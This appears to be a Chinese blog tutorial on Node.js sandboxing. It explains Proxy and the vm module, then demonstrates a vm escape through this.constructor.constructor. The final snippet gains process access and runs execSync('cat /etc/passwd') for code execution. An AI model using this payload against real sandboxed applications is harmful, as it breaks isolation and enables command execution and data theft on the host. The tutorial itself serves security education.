复现沙箱逃逸漏洞

什么是沙箱(sandbox)
在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。

沙箱技术的实现 
沙箱技术按照设定的安全策略,限制不可信程序对系统资源的使用来实现,那么就要在访问系统资源之前将程序的系统调用拦截下来,然后按照安全策略对调用进行审查。

基于JavaScript的node.js有一些提供沙箱环境的模块,它们也根据这样的思路来实现,例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。

Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)。 – MDN

简单地说,就是在对某个对象进行操作之前,例如访问它的属性或者调用它的方法,先传递给与对象绑定的 Proxy ,由 Proxy 执行具体的逻辑。

例子:

const handler = {
    get: function(obj, prop) {
        return prop in obj ? obj[prop] : 37;
    }
};

const p = new Proxy({}, handler);     // 创建一个绑定代理的对象
p.a = 1;
p.b = undefined;

console.log(p.a, p.b);      // 1, undefined
console.log('c' in p, p.c); // false, 37 

 访问 p.c 时,p.c 并未定义,但由于 Proxy 给 p 对象绑定了一个控制器 handler,从而改变访问 p 对象的属性的逻辑,让它为 p.c 返回 37 的值。

从这种拦截调用的思路出发,在 node.js 中可以这样实现一个沙箱环境,在内部访问外部的变量、函数或对象等资源时,将其拦截下来,然后再判断是允许还是禁止。

vm模块
context
vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。

context 是语境、环境、上下文的意思,类似于文章的语境,一句话的意思需要根据语境推断,即文章的上下文。以此类比,这里的 context 是 JavaScript 代码所处的环境(有点像作用域的概念),一条代码语句在不同的环境执行的结果也不同。

调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。

例子:

const vm = require('vm');

// global下定义一个 x 变量
const x = 1;

// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}

// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);

// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17

// global没有被改动
console.log(x); // 1; y is not defined.

code执行的环境是 context ,它访问的全局对象就是访问自定义的 context 对象。 

contextify 语境化
根据 V8 引擎的文档指明:

在 V8 中,context 是一个执行环境,它允许在隔离的、无关联的一个 V8 实例中运行 JavaScript 应用。你必须为运行的任何JavaScript代码指定所应该处于的 context。

vm.createContext() 有一个 contextobject 参数,用于接收一个对象(如果没有,就在模块内部创建一个),所谓语境化就是创建一个 context(对象) 然后传入 contextObject 作为代码执行环境的过程。

vm逃逸
vm创建一个新的 context 执行 JavaScript 代码,不能访问 global 对象,看起来就像一个沙箱了。

例如我们想要访问 process:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);   // 默认 context = {}
console.log(xyz);

结果: 

复现沙箱逃逸漏洞_第1张图片

 预料之中,因为 process 不存在于新的 context,它存在于原来的 context 中,而原来的 context 的 global 对象有 process 属性:

"use strict";

console.log(process)

结果:

 复现沙箱逃逸漏洞_第2张图片

 通过对象带有的 constructor 属性逃逸:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(xyz);  // xyz的值为最后一句JavaScript代码执行的结果,这里是函数返回值

结果:

 复现沙箱逃逸漏洞_第3张图片

this引用的是当前所在的一个对象,这里是传入 contextObject 的对象,它在外部定义,所以它属于外部的 context。通过 .constructor 得到 Object Contrustor ,再通过 .constructor 得到 Function constructor,这是函数的构造函数,通过传入一个包含代码的字符串参数就能创建一个新的函数,最后的 () 就是调用这个函数。

获得 process 之后就能 RCE 了。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

你可能感兴趣的:(javascript)